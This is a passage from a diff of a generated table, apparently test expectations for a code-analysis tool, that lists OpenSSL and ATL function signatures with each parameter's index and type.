| | TS_TST_INFO_set_policy_id | 1 | ASN1_OBJECT * | +| (TS_TST_INFO *,GENERAL_NAME *) | | TS_TST_INFO_set_tsa | 0 | TS_TST_INFO * | +| (TS_TST_INFO *,GENERAL_NAME *) | | TS_TST_INFO_set_tsa | 1 | GENERAL_NAME * | +| (TS_TST_INFO *,TS_ACCURACY *) | | TS_TST_INFO_set_accuracy | 0 | TS_TST_INFO * | +| (TS_TST_INFO *,TS_ACCURACY *) | | TS_TST_INFO_set_accuracy | 1 | TS_ACCURACY * | +| (TS_TST_INFO *,TS_MSG_IMPRINT *) | | TS_TST_INFO_set_msg_imprint | 0 | TS_TST_INFO * | +| (TS_TST_INFO *,TS_MSG_IMPRINT *) | | TS_TST_INFO_set_msg_imprint | 1 | TS_MSG_IMPRINT * | +| (TS_TST_INFO *,X509_EXTENSION *,int) | | TS_TST_INFO_add_ext | 0 | TS_TST_INFO * | +| (TS_TST_INFO *,X509_EXTENSION *,int) | | TS_TST_INFO_add_ext | 1 | X509_EXTENSION * | +| (TS_TST_INFO *,X509_EXTENSION *,int) | | TS_TST_INFO_add_ext | 2 | int | +| (TS_TST_INFO *,const ASN1_GENERALIZEDTIME *) | | TS_TST_INFO_set_time | 0 | TS_TST_INFO * | +| (TS_TST_INFO *,const ASN1_GENERALIZEDTIME *) | | TS_TST_INFO_set_time | 1 | const ASN1_GENERALIZEDTIME * | +| (TS_TST_INFO *,const ASN1_INTEGER *) | | TS_TST_INFO_set_nonce | 0 | TS_TST_INFO * | +| (TS_TST_INFO *,const ASN1_INTEGER *) | | TS_TST_INFO_set_nonce | 1 | const ASN1_INTEGER * | +| (TS_TST_INFO *,const ASN1_INTEGER *) | | TS_TST_INFO_set_serial | 0 | TS_TST_INFO * | +| (TS_TST_INFO *,const ASN1_INTEGER *) | | TS_TST_INFO_set_serial | 1 | const ASN1_INTEGER * | +| (TS_TST_INFO *,const ASN1_OBJECT *,int) | | TS_TST_INFO_get_ext_by_OBJ | 0 | TS_TST_INFO * | +| (TS_TST_INFO *,const ASN1_OBJECT *,int) | | TS_TST_INFO_get_ext_by_OBJ | 1 | const ASN1_OBJECT * | +| (TS_TST_INFO *,const ASN1_OBJECT *,int) | | TS_TST_INFO_get_ext_by_OBJ | 2 | int | +| (TS_TST_INFO *,int) | | TS_TST_INFO_delete_ext | 0 | TS_TST_INFO * | +| (TS_TST_INFO *,int) | | TS_TST_INFO_delete_ext | 1 | int | +| (TS_TST_INFO *,int) | | TS_TST_INFO_get_ext | 0 | TS_TST_INFO * | +| (TS_TST_INFO *,int) | | TS_TST_INFO_get_ext | 1 | int | +| (TS_TST_INFO *,int,int *,int *) | | TS_TST_INFO_get_ext_d2i | 0 | TS_TST_INFO * | +| (TS_TST_INFO *,int,int *,int *) | | TS_TST_INFO_get_ext_d2i | 1 | int | +| (TS_TST_INFO *,int,int *,int *) | | TS_TST_INFO_get_ext_d2i | 2 | int * | +| (TS_TST_INFO *,int,int *,int *) | | TS_TST_INFO_get_ext_d2i | 3 | int * | +| (TS_TST_INFO *,int,int) | | TS_TST_INFO_get_ext_by_NID | 0 | TS_TST_INFO * | +| (TS_TST_INFO *,int,int) | | TS_TST_INFO_get_ext_by_NID | 1 | int | +| (TS_TST_INFO *,int,int) | | TS_TST_INFO_get_ext_by_NID | 2 | int | +| (TS_TST_INFO *,int,int) | | TS_TST_INFO_get_ext_by_critical | 0 | TS_TST_INFO * | +| (TS_TST_INFO *,int,int) | | TS_TST_INFO_get_ext_by_critical | 1 | int | +| (TS_TST_INFO *,int,int) | | TS_TST_INFO_get_ext_by_critical | 2 | int | +| (TS_TST_INFO *,long) | | TS_TST_INFO_set_version | 0 | TS_TST_INFO * | +| (TS_TST_INFO *,long) | | TS_TST_INFO_set_version | 1 | long | +| (TS_VERIFY_CTX *,BIO *) | | TS_VERIFY_CTX_set0_data | 0 | TS_VERIFY_CTX * | +| (TS_VERIFY_CTX *,BIO *) | | TS_VERIFY_CTX_set0_data | 1 | BIO * | +| (TS_VERIFY_CTX *,BIO *) | | TS_VERIFY_CTX_set_data | 0 | TS_VERIFY_CTX * | +| (TS_VERIFY_CTX *,BIO *) | | TS_VERIFY_CTX_set_data | 1 | BIO * | +| (TS_VERIFY_CTX *,X509_STORE *) | | TS_VERIFY_CTX_set0_store | 0 | TS_VERIFY_CTX * | +| (TS_VERIFY_CTX *,X509_STORE *) | | TS_VERIFY_CTX_set0_store | 1 | X509_STORE * | +| (TS_VERIFY_CTX *,X509_STORE *) | | TS_VERIFY_CTX_set_store | 0 | TS_VERIFY_CTX * | +| (TS_VERIFY_CTX *,X509_STORE *) | | TS_VERIFY_CTX_set_store | 1 | X509_STORE * | +| (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_add_flags | 0 | TS_VERIFY_CTX * | +| (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_add_flags | 1 | int | +| (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_set_flags | 0 | TS_VERIFY_CTX * | +| (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_set_flags | 1 | int | +| (TS_VERIFY_CTX *,stack_st_X509 *) | | TS_VERIFY_CTX_set0_certs | 0 | TS_VERIFY_CTX * | +| (TS_VERIFY_CTX *,stack_st_X509 *) | | TS_VERIFY_CTX_set0_certs | 1 | stack_st_X509 * | +| (TS_VERIFY_CTX *,stack_st_X509 *) | | TS_VERIFY_CTX_set_certs | 0 | TS_VERIFY_CTX * | +| (TS_VERIFY_CTX *,stack_st_X509 *) | | TS_VERIFY_CTX_set_certs | 1 | stack_st_X509 * | +| (TS_VERIFY_CTX *,unsigned char *,long) | | TS_VERIFY_CTX_set0_imprint | 0 | TS_VERIFY_CTX * | +| (TS_VERIFY_CTX *,unsigned char *,long) | | TS_VERIFY_CTX_set0_imprint | 1 | unsigned char * | +| (TS_VERIFY_CTX *,unsigned char *,long) | | TS_VERIFY_CTX_set0_imprint | 2 | long | +| (TS_VERIFY_CTX *,unsigned char *,long) | | TS_VERIFY_CTX_set_imprint | 0 | TS_VERIFY_CTX * | +| (TS_VERIFY_CTX *,unsigned char *,long) | | TS_VERIFY_CTX_set_imprint | 1 | unsigned char * | +| (TS_VERIFY_CTX *,unsigned char *,long) | | TS_VERIFY_CTX_set_imprint | 2 | long | +| (TXT_DB *,OPENSSL_STRING *) | | TXT_DB_insert | 0 | TXT_DB * | +| (TXT_DB *,OPENSSL_STRING *) | | TXT_DB_insert | 1 | OPENSSL_STRING * | +| (TXT_DB *,int,..(*)(..),OPENSSL_LH_HASHFUNC,OPENSSL_LH_COMPFUNC) | | TXT_DB_create_index | 0 | TXT_DB * | +| (TXT_DB *,int,..(*)(..),OPENSSL_LH_HASHFUNC,OPENSSL_LH_COMPFUNC) | | TXT_DB_create_index | 1 | int | +| (TXT_DB *,int,..(*)(..),OPENSSL_LH_HASHFUNC,OPENSSL_LH_COMPFUNC) | | TXT_DB_create_index | 2 | ..(*)(..) | +| (TXT_DB *,int,..(*)(..),OPENSSL_LH_HASHFUNC,OPENSSL_LH_COMPFUNC) | | TXT_DB_create_index | 3 | OPENSSL_LH_HASHFUNC | +| (TXT_DB *,int,..(*)(..),OPENSSL_LH_HASHFUNC,OPENSSL_LH_COMPFUNC) | | TXT_DB_create_index | 4 | OPENSSL_LH_COMPFUNC | +| (UI *) | | UI_get0_user_data | 0 | UI * | +| (UI *) | | UI_get_method | 0 | UI * | +| (UI *,UI_STRING *,const char *) | | UI_set_result | 0 | UI * | +| (UI *,UI_STRING *,const char *) | | UI_set_result | 1 | UI_STRING * | +| (UI *,UI_STRING *,const char *) | | UI_set_result | 2 | const char * | +| (UI *,UI_STRING *,const char *,int) | | UI_set_result_ex | 0 | UI * | +| (UI *,UI_STRING *,const char *,int) | | UI_set_result_ex | 1 | UI_STRING * | +| (UI *,UI_STRING *,const char *,int) | | UI_set_result_ex | 2 | const char * | +| (UI *,UI_STRING *,const char *,int) | | UI_set_result_ex | 3 | int | +| (UI *,const UI_METHOD *) | | UI_set_method | 0 | UI * | +| (UI *,const UI_METHOD *) | | UI_set_method | 1 | const UI_METHOD * | +| (UI *,const char *) | | UI_add_error_string | 0 | UI * | +| (UI *,const char *) | | UI_add_error_string | 1 | const char * | +| (UI *,const char *) | | UI_add_info_string | 0 | UI * | +| (UI *,const char *) | | UI_add_info_string | 1 | const char * | +| (UI *,const char *) | | UI_dup_error_string | 0 | UI * | +| (UI *,const char *) | | UI_dup_error_string | 1 | const char * | +| (UI *,const char *) | | UI_dup_info_string | 0 | UI * | +| (UI *,const char *) | | UI_dup_info_string | 1 | const char * | +| (UI *,const char *,const char *) | | UI_construct_prompt | 0 | UI * | +| (UI *,const char *,const char *) | | UI_construct_prompt | 1 | const char * | +| (UI *,const char *,const char *) | | UI_construct_prompt | 2 | const char * | +| (UI *,const char *,const char *,const char *,const char *,int,char *) | | UI_add_input_boolean | 0 | UI * | +| (UI *,const char *,const char *,const char *,const char *,int,char *) | | UI_add_input_boolean | 1 | const char * | +| (UI *,const char *,const char *,const char *,const char *,int,char *) | | UI_add_input_boolean | 2 | const char * | +| (UI *,const char *,const char *,const char *,const char *,int,char *) | | UI_add_input_boolean | 3 | const char * | +| (UI *,const char *,const char *,const char *,const char *,int,char *) | | UI_add_input_boolean | 4 | const char * | +| (UI *,const char *,const char *,const char *,const char *,int,char *) | | UI_add_input_boolean | 5 | int | +| (UI *,const char *,const char *,const char *,const char *,int,char *) | | UI_add_input_boolean | 6 | char * | +| (UI *,const char *,const char *,const char *,const char *,int,char *) | | UI_dup_input_boolean | 0 | UI * | +| (UI *,const char *,const char *,const char *,const char *,int,char *) | | UI_dup_input_boolean | 1 | const char * | +| (UI *,const char *,const char *,const char *,const char *,int,char *) | | UI_dup_input_boolean | 2 | const char * | +| (UI *,const char *,const char *,const char *,const char *,int,char *) | | UI_dup_input_boolean | 3 | const char * | +| (UI *,const char *,const char *,const char *,const char *,int,char *) | | UI_dup_input_boolean | 4 | const char * | +| (UI *,const char *,const char *,const char *,const char *,int,char *) | | UI_dup_input_boolean | 5 | int | +| (UI *,const char *,const char *,const char *,const char *,int,char *) | | UI_dup_input_boolean | 6 | char * | +| (UI *,const char *,int,char *,int,int) | | UI_add_input_string | 0 | UI * | +| (UI *,const char *,int,char *,int,int) | | UI_add_input_string | 1 | const char * | +| (UI *,const char *,int,char *,int,int) | | UI_add_input_string | 2 | int | +| (UI *,const char *,int,char *,int,int) | | UI_add_input_string | 3 | char * | +| (UI *,const char *,int,char *,int,int) | | UI_add_input_string | 4 | int | +| (UI *,const char *,int,char *,int,int) | | UI_add_input_string | 5 | int | +| (UI *,const char *,int,char *,int,int) | | UI_dup_input_string | 0 | UI * | +| (UI *,const char *,int,char *,int,int) | | UI_dup_input_string | 1 | const char * | +| (UI *,const char *,int,char *,int,int) | | UI_dup_input_string | 2 | int | +| (UI *,const char *,int,char *,int,int) | | UI_dup_input_string | 3 | char * | +| (UI *,const char *,int,char *,int,int) | | UI_dup_input_string | 4 | int | +| (UI *,const char *,int,char *,int,int) | | UI_dup_input_string | 5 | int | +| (UI *,const char *,int,char *,int,int,const char *) | | UI_add_verify_string | 0 | UI * | +| (UI *,const char *,int,char *,int,int,const char *) | | UI_add_verify_string | 1 | const char * | +| (UI *,const char *,int,char *,int,int,const char *) | | UI_add_verify_string | 2 | int | +| (UI *,const char *,int,char *,int,int,const char *) | | UI_add_verify_string | 3 | char * | +| (UI *,const char *,int,char *,int,int,const char *) | | UI_add_verify_string | 4 | int | +| (UI *,const char *,int,char *,int,int,const char *) | | UI_add_verify_string | 5 | int | +| (UI *,const char *,int,char *,int,int,const char *) | | UI_add_verify_string | 6 | const char * | +| (UI *,const char *,int,char *,int,int,const char *) | | UI_dup_verify_string | 0 | UI * | +| (UI *,const char *,int,char *,int,int,const char *) | | UI_dup_verify_string | 1 | const char * | +| (UI *,const char *,int,char *,int,int,const char *) | | UI_dup_verify_string | 2 | int | +| (UI *,const char *,int,char *,int,int,const char *) | | UI_dup_verify_string | 3 | char * | +| (UI *,const char *,int,char *,int,int,const char *) | | UI_dup_verify_string | 4 | int | +| (UI *,const char *,int,char *,int,int,const char *) | | UI_dup_verify_string | 5 | int | +| (UI *,const char *,int,char *,int,int,const char *) | | UI_dup_verify_string | 6 | const char * | +| (UI *,void *) | | UI_add_user_data | 0 | UI * | +| (UI *,void *) | | UI_add_user_data | 1 | void * | | (UINT) | CComBSTR | LoadString | 0 | UINT | | (UINT) | _U_STRINGorID | _U_STRINGorID | 0 | UINT | | (UINT,...) | CStringT | AppendFormat | 0 | UINT | @@ -710,6 +21146,784 @@ getSignatureParameterName | (UINT,...) | CStringT | Format | 1 | ... | | (UINT,...) | CStringT | FormatMessage | 0 | UINT | | (UINT,...) | CStringT | FormatMessage | 1 | ... | +| (UI_METHOD *,..(*)(..)) | | UI_method_set_closer | 0 | UI_METHOD * | +| (UI_METHOD *,..(*)(..)) | | UI_method_set_closer | 1 | ..(*)(..) | +| (UI_METHOD *,..(*)(..)) | | UI_method_set_flusher | 0 | UI_METHOD * | +| (UI_METHOD *,..(*)(..)) | | UI_method_set_flusher | 1 | ..(*)(..) | +| (UI_METHOD *,..(*)(..)) | | UI_method_set_opener | 0 | UI_METHOD * | +| (UI_METHOD *,..(*)(..)) | | UI_method_set_opener | 1 | ..(*)(..) | +| (UI_METHOD *,..(*)(..)) | | UI_method_set_prompt_constructor | 0 | UI_METHOD * | +| (UI_METHOD *,..(*)(..)) | | UI_method_set_prompt_constructor | 1 | ..(*)(..) | +| (UI_METHOD *,..(*)(..)) | | UI_method_set_reader | 0 | UI_METHOD * | +| (UI_METHOD *,..(*)(..)) | | UI_method_set_reader | 1 | ..(*)(..) | +| (UI_METHOD *,..(*)(..)) | | UI_method_set_writer | 0 | UI_METHOD * | +| (UI_METHOD *,..(*)(..)) | | UI_method_set_writer | 1 | ..(*)(..) | +| (UI_METHOD *,..(*)(..),..(*)(..)) | | UI_method_set_data_duplicator | 0 | UI_METHOD * | +| (UI_METHOD *,..(*)(..),..(*)(..)) | | UI_method_set_data_duplicator | 1 | ..(*)(..) | +| (UI_METHOD *,..(*)(..),..(*)(..)) | | UI_method_set_data_duplicator | 2 | ..(*)(..) | +| (UI_STRING *) | | UI_get0_output_string | 0 | UI_STRING * | +| (UI_STRING *) | | UI_get0_result_string | 0 | UI_STRING * | +| (UI_STRING *) | | UI_get_input_flags | 0 | UI_STRING * | +| (UI_STRING *) | | UI_get_result_string_length | 0 | UI_STRING * | +| (UI_STRING *) | | UI_get_string_type | 0 | UI_STRING * | +| (USERNOTICE *) | | USERNOTICE_free | 0 | USERNOTICE * | +| (USERNOTICE **,const unsigned char **,long) | | d2i_USERNOTICE | 0 | USERNOTICE ** | +| (USERNOTICE **,const unsigned char **,long) | | d2i_USERNOTICE | 1 | const unsigned char ** | +| (USERNOTICE **,const unsigned char **,long) | | d2i_USERNOTICE | 2 | long | +| (WHIRLPOOL_CTX *,const void *,size_t) | | WHIRLPOOL_BitUpdate | 0 | WHIRLPOOL_CTX * | +| (WHIRLPOOL_CTX *,const void *,size_t) | | WHIRLPOOL_BitUpdate | 1 | const void * | +| (WHIRLPOOL_CTX *,const void *,size_t) | | WHIRLPOOL_BitUpdate | 2 | size_t | +| (WHIRLPOOL_CTX *,const void *,size_t) | | WHIRLPOOL_Update | 0 | WHIRLPOOL_CTX * | +| (WHIRLPOOL_CTX *,const void *,size_t) | | WHIRLPOOL_Update | 1 | const void * | +| (WHIRLPOOL_CTX *,const void *,size_t) | | WHIRLPOOL_Update | 2 | size_t | +| (WPACKET *) | | WPACKET_get_curr | 0 | WPACKET * | +| (WPACKET *) | | WPACKET_start_sub_packet | 0 | WPACKET * | +| (WPACKET *,BUF_MEM *) | | WPACKET_init | 0 | WPACKET * | +| (WPACKET *,BUF_MEM *) | | WPACKET_init | 1 | BUF_MEM * | +| (WPACKET *,BUF_MEM *,size_t) | | WPACKET_init_len | 0 | WPACKET * | +| (WPACKET *,BUF_MEM *,size_t) | | WPACKET_init_len | 1 | BUF_MEM * | +| (WPACKET *,BUF_MEM *,size_t) | | WPACKET_init_len | 2 | size_t | +| (WPACKET *,const BIGNUM *) | | ossl_encode_der_integer | 0 | WPACKET * | +| (WPACKET *,const BIGNUM *) | | ossl_encode_der_integer | 1 | const BIGNUM * | +| (WPACKET *,const BIGNUM *,const BIGNUM *) | | ossl_encode_der_dsa_sig | 0 | WPACKET * | +| (WPACKET *,const BIGNUM *,const BIGNUM *) | | ossl_encode_der_dsa_sig | 1 | const BIGNUM * | +| (WPACKET *,const BIGNUM *,const BIGNUM *) | | ossl_encode_der_dsa_sig | 2 | const BIGNUM * | +| (WPACKET *,const OSSL_QUIC_FRAME_CONN_CLOSE *) | | ossl_quic_wire_encode_frame_conn_close | 0 | WPACKET * | +| (WPACKET *,const OSSL_QUIC_FRAME_CONN_CLOSE *) | | ossl_quic_wire_encode_frame_conn_close | 1 | const OSSL_QUIC_FRAME_CONN_CLOSE * | +| (WPACKET *,const OSSL_QUIC_FRAME_CRYPTO *) | | ossl_quic_wire_encode_frame_crypto | 0 | WPACKET * | +| (WPACKET *,const OSSL_QUIC_FRAME_CRYPTO *) | | ossl_quic_wire_encode_frame_crypto | 1 | const OSSL_QUIC_FRAME_CRYPTO * | +| (WPACKET *,const OSSL_QUIC_FRAME_NEW_CONN_ID *) | | ossl_quic_wire_encode_frame_new_conn_id | 0 | WPACKET * | +| (WPACKET *,const OSSL_QUIC_FRAME_NEW_CONN_ID *) | | ossl_quic_wire_encode_frame_new_conn_id | 1 | const OSSL_QUIC_FRAME_NEW_CONN_ID * | +| (WPACKET *,const OSSL_QUIC_FRAME_STREAM *) | | ossl_quic_wire_encode_frame_stream | 0 | WPACKET * | +| (WPACKET *,const OSSL_QUIC_FRAME_STREAM *) | | ossl_quic_wire_encode_frame_stream | 1 | const OSSL_QUIC_FRAME_STREAM * | +| (WPACKET *,const unsigned char *,size_t) | | ossl_quic_wire_encode_frame_new_token | 0 | WPACKET * | +| (WPACKET *,const unsigned char *,size_t) | | ossl_quic_wire_encode_frame_new_token | 1 | const unsigned char * | +| (WPACKET *,const unsigned char *,size_t) | | ossl_quic_wire_encode_frame_new_token | 2 | size_t | +| (WPACKET *,const void *,size_t) | | WPACKET_memcpy | 0 | WPACKET * | +| (WPACKET *,const void *,size_t) | | WPACKET_memcpy | 1 | const void * | +| (WPACKET *,const void *,size_t) | | WPACKET_memcpy | 2 | size_t | +| (WPACKET *,const void *,size_t,size_t) | | WPACKET_sub_memcpy__ | 0 | WPACKET * | +| (WPACKET *,const void *,size_t,size_t) | | WPACKET_sub_memcpy__ | 1 | const void * | +| (WPACKET *,const void *,size_t,size_t) | | WPACKET_sub_memcpy__ | 2 | size_t | +| (WPACKET *,const void *,size_t,size_t) | | WPACKET_sub_memcpy__ | 3 | size_t | +| (WPACKET *,int) | | ossl_DER_w_begin_sequence | 0 | WPACKET * | +| (WPACKET *,int) | | ossl_DER_w_begin_sequence | 1 | int | +| (WPACKET *,int,const BIGNUM *) | | ossl_DER_w_bn | 0 | WPACKET * | +| (WPACKET *,int,const BIGNUM *) | | ossl_DER_w_bn | 1 | int | +| (WPACKET *,int,const BIGNUM *) | | ossl_DER_w_bn | 2 | const BIGNUM * | +| (WPACKET *,int,const unsigned char *,size_t) | | ossl_DER_w_octet_string | 0 | WPACKET * | +| (WPACKET *,int,const unsigned char *,size_t) | | ossl_DER_w_octet_string | 1 | int | +| (WPACKET *,int,const unsigned char *,size_t) | | ossl_DER_w_octet_string | 2 | const unsigned char * | +| (WPACKET *,int,const unsigned char *,size_t) | | ossl_DER_w_octet_string | 3 | size_t | +| (WPACKET *,int,const unsigned char *,size_t) | | ossl_DER_w_precompiled | 0 | WPACKET * | +| (WPACKET *,int,const unsigned char *,size_t) | | ossl_DER_w_precompiled | 1 | int | +| (WPACKET *,int,const unsigned char *,size_t) | | ossl_DER_w_precompiled | 2 | const unsigned char * | +| (WPACKET *,int,const unsigned char *,size_t) | | ossl_DER_w_precompiled | 3 | size_t | +| (WPACKET *,int,size_t) | | WPACKET_memset | 0 | WPACKET * | +| (WPACKET *,int,size_t) | | WPACKET_memset | 1 | int | +| (WPACKET *,int,size_t) | | WPACKET_memset | 2 | size_t | +| (WPACKET *,size_t *) | | WPACKET_get_length | 0 | WPACKET * | +| (WPACKET *,size_t *) | | WPACKET_get_length | 1 | size_t * | +| (WPACKET *,size_t *) | | WPACKET_get_total_written | 0 | WPACKET * | +| (WPACKET *,size_t *) | | WPACKET_get_total_written | 1 | size_t * | +| (WPACKET *,size_t) | | WPACKET_init_null | 0 | WPACKET * | +| (WPACKET *,size_t) | | WPACKET_init_null | 1 | size_t | +| (WPACKET *,size_t) | | WPACKET_set_max_size | 0 | WPACKET * | +| (WPACKET *,size_t) | | WPACKET_set_max_size | 1 | size_t | +| (WPACKET *,size_t) | | WPACKET_start_sub_packet_len__ | 0 | WPACKET * | +| (WPACKET *,size_t) | | WPACKET_start_sub_packet_len__ | 1 | size_t | +| (WPACKET *,size_t) | | ossl_quic_wire_encode_padding | 0 | WPACKET * | +| (WPACKET *,size_t) | | ossl_quic_wire_encode_padding | 1 | size_t | +| (WPACKET *,size_t,const QUIC_PKT_HDR *,QUIC_PKT_HDR_PTRS *) | | ossl_quic_wire_encode_pkt_hdr | 0 | WPACKET * | +| (WPACKET *,size_t,const QUIC_PKT_HDR *,QUIC_PKT_HDR_PTRS *) | | ossl_quic_wire_encode_pkt_hdr | 1 | size_t | +| (WPACKET *,size_t,const QUIC_PKT_HDR *,QUIC_PKT_HDR_PTRS *) | | ossl_quic_wire_encode_pkt_hdr | 2 | const QUIC_PKT_HDR * | +| (WPACKET *,size_t,const QUIC_PKT_HDR *,QUIC_PKT_HDR_PTRS *) | | ossl_quic_wire_encode_pkt_hdr | 3 | QUIC_PKT_HDR_PTRS * | +| (WPACKET *,size_t,unsigned char **) | | WPACKET_allocate_bytes | 0 | WPACKET * | +| (WPACKET *,size_t,unsigned char **) | | WPACKET_allocate_bytes | 1 | size_t | +| (WPACKET *,size_t,unsigned char **) | | WPACKET_allocate_bytes | 2 | unsigned char ** | +| (WPACKET *,size_t,unsigned char **) | | WPACKET_quic_sub_allocate_bytes | 0 | WPACKET * | +| (WPACKET *,size_t,unsigned char **) | | WPACKET_quic_sub_allocate_bytes | 1 | size_t | +| (WPACKET *,size_t,unsigned char **) | | WPACKET_quic_sub_allocate_bytes | 2 | unsigned char ** | +| (WPACKET *,size_t,unsigned char **) | | WPACKET_reserve_bytes | 0 | WPACKET * | +| (WPACKET *,size_t,unsigned char **) | | WPACKET_reserve_bytes | 1 | size_t | +| (WPACKET *,size_t,unsigned char **) | | WPACKET_reserve_bytes | 2 | unsigned char ** | +| (WPACKET *,size_t,unsigned char **,size_t) | | WPACKET_sub_allocate_bytes__ | 0 | WPACKET * | +| (WPACKET *,size_t,unsigned char **,size_t) | | WPACKET_sub_allocate_bytes__ | 1 | size_t | +| (WPACKET *,size_t,unsigned char **,size_t) | | WPACKET_sub_allocate_bytes__ | 2 | unsigned char ** | +| (WPACKET *,size_t,unsigned char **,size_t) | | WPACKET_sub_allocate_bytes__ | 3 | size_t | +| (WPACKET *,size_t,unsigned char **,size_t) | | WPACKET_sub_reserve_bytes__ | 0 | WPACKET * | +| (WPACKET *,size_t,unsigned char **,size_t) | | WPACKET_sub_reserve_bytes__ | 1 | size_t | +| (WPACKET *,size_t,unsigned char **,size_t) | | WPACKET_sub_reserve_bytes__ | 2 | unsigned char ** | +| (WPACKET *,size_t,unsigned char **,size_t) | | WPACKET_sub_reserve_bytes__ | 3 | size_t | +| (WPACKET *,uint64_t,const QUIC_CONN_ID *) | | ossl_quic_wire_encode_transport_param_cid | 0 | WPACKET * | +| (WPACKET *,uint64_t,const QUIC_CONN_ID *) | | ossl_quic_wire_encode_transport_param_cid | 1 | uint64_t | +| (WPACKET *,uint64_t,const QUIC_CONN_ID *) | | ossl_quic_wire_encode_transport_param_cid | 2 | const QUIC_CONN_ID * | +| (WPACKET *,uint64_t,const unsigned char *,size_t) | | ossl_quic_wire_encode_transport_param_bytes | 0 | WPACKET * | +| (WPACKET *,uint64_t,const unsigned char *,size_t) | | ossl_quic_wire_encode_transport_param_bytes | 1 | uint64_t | +| (WPACKET *,uint64_t,const unsigned char *,size_t) | | ossl_quic_wire_encode_transport_param_bytes | 2 | const unsigned char * | +| (WPACKET *,uint64_t,const unsigned char *,size_t) | | ossl_quic_wire_encode_transport_param_bytes | 3 | size_t | +| (WPACKET *,uint64_t,size_t) | | WPACKET_put_bytes__ | 0 | WPACKET * | +| (WPACKET *,uint64_t,size_t) | | WPACKET_put_bytes__ | 1 | uint64_t | +| (WPACKET *,uint64_t,size_t) | | WPACKET_put_bytes__ | 2 | size_t | +| (WPACKET *,unsigned char *,size_t) | | WPACKET_init_der | 0 | WPACKET * | +| (WPACKET *,unsigned char *,size_t) | | WPACKET_init_der | 1 | unsigned char * | +| (WPACKET *,unsigned char *,size_t) | | WPACKET_init_der | 2 | size_t | +| (WPACKET *,unsigned char *,size_t) | | dtls_raw_hello_verify_request | 0 | WPACKET * | +| (WPACKET *,unsigned char *,size_t) | | dtls_raw_hello_verify_request | 1 | unsigned char * | +| (WPACKET *,unsigned char *,size_t) | | dtls_raw_hello_verify_request | 2 | size_t | +| (WPACKET *,unsigned char *,size_t,size_t) | | WPACKET_init_static_len | 0 | WPACKET * | +| (WPACKET *,unsigned char *,size_t,size_t) | | WPACKET_init_static_len | 1 | unsigned char * | +| (WPACKET *,unsigned char *,size_t,size_t) | | WPACKET_init_static_len | 2 | size_t | +| (WPACKET *,unsigned char *,size_t,size_t) | | WPACKET_init_static_len | 3 | size_t | +| (WPACKET *,unsigned int) | | WPACKET_set_flags | 0 | WPACKET * | +| (WPACKET *,unsigned int) | | WPACKET_set_flags | 1 | unsigned int | +| (X9_62_CHARACTERISTIC_TWO *) | | X9_62_CHARACTERISTIC_TWO_free | 0 | X9_62_CHARACTERISTIC_TWO * | +| (X9_62_PENTANOMIAL *) | | X9_62_PENTANOMIAL_free | 0 | X9_62_PENTANOMIAL * | +| (X509 *) | | OSSL_STORE_INFO_new_CERT | 0 | X509 * | +| (X509 *) | | PKCS12_SAFEBAG_create_cert | 0 | X509 * | +| (X509 *) | | X509_check_ca | 0 | X509 * | +| (X509 *) | | X509_free | 0 | X509 * | +| (X509 *) | | X509_get0_authority_issuer | 0 | X509 * | +| (X509 *) | | X509_get0_authority_key_id | 0 | X509 * | +| (X509 *) | | X509_get0_authority_serial | 0 | X509 * | +| (X509 *) | | X509_get0_distinguishing_id | 0 | X509 * | +| (X509 *) | | X509_get0_reject_objects | 0 | X509 * | +| (X509 *) | | X509_get0_subject_key_id | 0 | X509 * | +| (X509 *) | | X509_get0_trust_objects | 0 | X509 * | +| (X509 *) | | X509_get_extended_key_usage | 0 | X509 * | +| (X509 *) | | X509_get_extension_flags | 0 | X509 * | +| (X509 *) | | X509_get_key_usage | 0 | X509 * | +| (X509 *) | | X509_get_pathlen | 0 | X509 * | +| (X509 *) | | X509_get_proxy_pathlen | 0 | X509 * | +| (X509 *) | | X509_get_serialNumber | 0 | X509 * | +| (X509 *) | | X509_issuer_name_hash | 0 | X509 * | +| (X509 *) | | X509_issuer_name_hash_old | 0 | X509 * | +| (X509 *) | | X509_subject_name_hash | 0 | X509 * | +| (X509 *) | | X509_subject_name_hash_old | 0 | X509 * | +| (X509 *) | | ossl_policy_cache_set | 0 | X509 * | +| (X509 *) | | ossl_x509v3_cache_extensions | 0 | X509 * | +| (X509 **,X509_STORE_CTX *,X509 *) | | X509_STORE_CTX_get1_issuer | 0 | X509 ** | +| (X509 **,X509_STORE_CTX *,X509 *) | | X509_STORE_CTX_get1_issuer | 1 | X509_STORE_CTX * | +| (X509 **,X509_STORE_CTX *,X509 *) | | X509_STORE_CTX_get1_issuer | 2 | X509 * | +| (X509 **,const unsigned char **,long) | | d2i_X509 | 0 | X509 ** | +| (X509 **,const unsigned char **,long) | | d2i_X509 | 1 | const unsigned char ** | +| (X509 **,const unsigned char **,long) | | d2i_X509 | 2 | long | +| (X509 **,const unsigned char **,long) | | d2i_X509_AUX | 0 | X509 ** | +| (X509 **,const unsigned char **,long) | | d2i_X509_AUX | 1 | const unsigned char ** | +| (X509 **,const unsigned char **,long) | | d2i_X509_AUX | 2 | long | +| (X509 *,ASN1_OCTET_STRING *) | | X509_set0_distinguishing_id | 0 | X509 * | +| (X509 *,ASN1_OCTET_STRING *) | | X509_set0_distinguishing_id | 1 | ASN1_OCTET_STRING * | +| (X509 *,EVP_MD_CTX *) | | X509_sign_ctx | 0 | X509 * | +| (X509 *,EVP_MD_CTX *) | | X509_sign_ctx | 1 | EVP_MD_CTX * | +| (X509 *,EVP_PKEY *,const EVP_MD *) | | X509_sign | 0 | X509 * | +| (X509 *,EVP_PKEY *,const EVP_MD *) | | X509_sign | 1 | EVP_PKEY * | +| (X509 *,EVP_PKEY *,const EVP_MD *) | | X509_sign | 2 | const EVP_MD * | +| (X509 *,EVP_PKEY *,const EVP_MD *) | | X509_to_X509_REQ | 0 | X509 * | +| (X509 *,EVP_PKEY *,const EVP_MD *) | | X509_to_X509_REQ | 1 | EVP_PKEY * | +| (X509 *,EVP_PKEY *,const EVP_MD *) | | X509_to_X509_REQ | 2 | const EVP_MD * | +| (X509 *,EVP_PKEY *,stack_st_OPENSSL_STRING *) | | do_X509_verify | 0 | X509 * | +| (X509 *,EVP_PKEY *,stack_st_OPENSSL_STRING *) | | do_X509_verify | 1 | EVP_PKEY * | +| (X509 *,EVP_PKEY *,stack_st_OPENSSL_STRING *) | | do_X509_verify | 2 | stack_st_OPENSSL_STRING * | 